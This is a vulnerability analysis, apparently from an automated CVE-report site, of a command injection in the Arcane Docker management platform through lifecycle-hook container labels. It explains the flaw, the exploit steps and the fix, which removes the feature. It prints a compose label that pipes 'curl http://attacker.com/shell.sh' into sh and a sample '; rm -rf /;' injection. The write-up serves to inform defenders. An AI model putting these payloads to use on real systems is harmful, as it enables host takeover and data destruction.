CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-23520
9.10.08%

Arcane Betrayal: Turning Docker Labels into Root Shells (CVE-2026-23520)

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 18, 2026·6 min read·24 visits

PoC Available

Executive Summary (TL;DR)

Arcane < 1.13.0 allows authenticated users to achieve Remote Code Execution (RCE) by adding malicious 'lifecycle' labels to Docker containers. When the container updates, the payload executes. The vendor fixed this by completely removing the feature.

A critical command injection vulnerability in the Arcane Docker management platform allows authenticated users to execute arbitrary commands on the host system via malicious container labels. The flaw resides in the updater service's handling of lifecycle hooks, where metadata is passed directly to a shell interpreter without sanitization.

The Hook: Managing Chaos

In the DevOps world, we love our "Single Panes of Glass." Tools like Portainer, Yacht, and Arcane promise to tame the wild west of Docker CLI commands into a nice, clicky UI. But here is the dirty secret of infrastructure management tools: they are effectively Remote Access Trojans (RATs) with a login screen. By definition, they need privileged access to the Docker socket (/var/run/docker.sock) to start, stop, and destroy containers. If you compromise the manager, you own the infrastructure.

Arcane, a "modern" Docker management platform, introduced a feature that sounds incredibly convenient on paper: Lifecycle Hooks. The idea was simple. Let's say you have a database container that needs to run a migration script before it updates, or a cleanup script after it updates. Instead of writing complex external orchestration logic, you could just slap a label on the container, and Arcane would handle it for you.

It’s the classic developer trap: prioritizing convenience over security boundary enforcement. They built a mechanism to execute commands based on metadata attached to an object. The problem? That metadata is often user-controlled, and in this case, the execution mechanism was about as subtle as a brick through a window.

The Flaw: Trusting the Label

The vulnerability (CVE-2026-23520) lies in how Arcane's updater service processes these lifecycle hooks. Specifically, the system looks for Docker labels named com.getarcaneapp.arcane.lifecycle.pre-update and com.getarcaneapp.arcane.lifecycle.post-update. When an update is triggered—either manually by an admin or automatically by a schedule—Arcane reads the strings inside these labels and executes them.

Here is where the logic falls apart. In secure programming, when you need to execute a command, you avoid the shell at all costs. You use execve style calls where arguments are passed as an array, preventing the interpreter from treating data as code. Arcane did the opposite. They took the string from the label—an untrusted source—and fed it directly into a shell execution path.

This is a textbook Command Injection (CWE-78). The application logic assumed that because the label exists on a container, it must be safe. But in Arcane, users with permissions to create projects or deploy containers can define these labels. This means a "Low Privilege" user (in the context of the app) can define a label that the "High Privilege" system (the updater) executes blindly. It's an escalation ladder built right into the feature set.

The Code: Reading the Runes

Let's look at the smoking gun. The vulnerability lived in backend/internal/utils/arcaneupdater/labels.go. The function GetLifecycleCommand was responsible for scraping the labels and preparing the command.

The Vulnerable Code:

func GetLifecycleCommand(labels map[string]string, lifecycleLabel string) []string {
    for k, v := range labels {
        if strings.EqualFold(k, lifecycleLabel) {
            v = strings.TrimSpace(v)
            if v == "" { return nil }
            // VULNERABILITY: Direct injection into shell slice
            return []string{"/bin/sh", "-c", v}
        }
    }
    return nil
}

See that []string{"/bin/sh", "-c", v} line? That is the developer signing a blank check to the attacker. The variable v is the raw content of the label. There is no sanitization, no validation, and no escaping.

If v is echo hello, it runs echo hello. If v is ; rm -rf /;, well, you can guess what happens.

The code blindly constructs a command slice that invokes the system shell and passes the user input as the command string. In Go (and many other languages), using sh -c is necessary if you want to use shell features like pipes or redirects, but it opens the door to injection if the input isn't strictly controlled. Here, the input was completely uncontrolled.

The Exploit: Casting the Spell

Exploiting this requires authenticated access, but in many organizations, "authenticated" just means "a developer account." Here is how a rogue user turns a Docker label into a root shell.

Step 1: The Setup The attacker deploys a new container or modifies an existing one via the Arcane API or UI. They attach a malicious label targeting the pre-update hook.

services:
  trojan_horse:
    image: alpine:latest
    labels:
      - "com.getarcaneapp.arcane.lifecycle.pre-update=apk add curl && curl http://attacker.com/shell.sh | sh"

Step 2: The Trigger The payload doesn't fire immediately. It's a landmine. It waits for an update event. The attacker can simply click "Update" on the container in the UI, or wait for Arcane's automated scheduler to detect a new image digest (which is trivial to spoof if the attacker controls the image tag).

Step 3: Execution When the update triggers, GetLifecycleCommand runs. It sees the label. It constructs /bin/sh -c "apk add curl && curl ... | sh".

Step 4: Elevation The command runs inside the container context, but initiated by the Arcane service. If the container has the Docker socket mounted (common for management agents) or if the command allows breaking out of the container (e.g., via shared namespaces), the attacker has effectively compromised the host. Even without socket access, they have RCE within the Arcane infrastructure network.

The Fix: Scorched Earth

How do you fix a feature that is inherently dangerous? You don't. You delete it.

The developers of Arcane didn't try to write a complex regex to sanitize the input (which usually fails). They didn't try to sandbox the execution. In version 1.13.0, they chose the "Scorched Earth" policy.

The Patch (Commit 5a9c2f92e11f86f8997da8c672844468f930b7e4):

The diff is a sea of red lines (deletions).

  1. They deleted backend/internal/utils/arcaneupdater/labels.go entirely.
  2. They removed all calls to ExecutePreUpdateCommand in the updater service.

This is a fascinating case of "Secure by Removal." The feature was deemed too risky to maintain relative to its value. By removing the code, the attack surface drops to zero. If you rely on those hooks for your workflow, your workflow is now broken, but at least your server isn't part of a botnet.

> [!NOTE] > This highlights a critical lesson: sometimes the best code is no code. If a feature creates a massive security hole and is only used by 1% of users, the correct security decision is deprecation.

Official Patches

ArcaneArcane Release v1.13.0

Fix Analysis (1)

Technical Appendix

CVSS Score
9.1/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
EPSS Probability
0.08%
Top 77% most exploited

Affected Systems

Arcane Docker Management Platform

Affected Versions Detail

Product
Affected Versions
Fixed Version
Arcane
Arcane
< 1.13.01.13.0
AttributeDetail
CWE IDCWE-78
Attack VectorNetwork (Authenticated)
CVSS Score9.1 (Critical)
ImpactRemote Code Execution (RCE)
EPSS Score0.0008 (23.38%)
Fix StrategyFeature Removal

MITRE ATT&CK Mapping

T1059.004Command and Scripting Interpreter: Unix Shell
Execution
T1610Deploy Container
Execution
T1053Scheduled Task/Job
Persistence
CWE-78
OS Command Injection

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Known Exploits & Detection

Internal ResearchThe vulnerability is trivial to reproduce by adding a semicolon and a shell command to the lifecycle label.

Vulnerability Timeline

Internal refactoring begins
2026-01-10
Fix commit pushed (feature removal)
2026-01-14
CVE-2026-23520 Published
2026-01-15
Arcane v1.13.0 Released
2026-01-15

References & Sources

  • [1]GHSA-gjqq-6r35-w3r8
  • [2]CWE-78: OS Command Injection

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.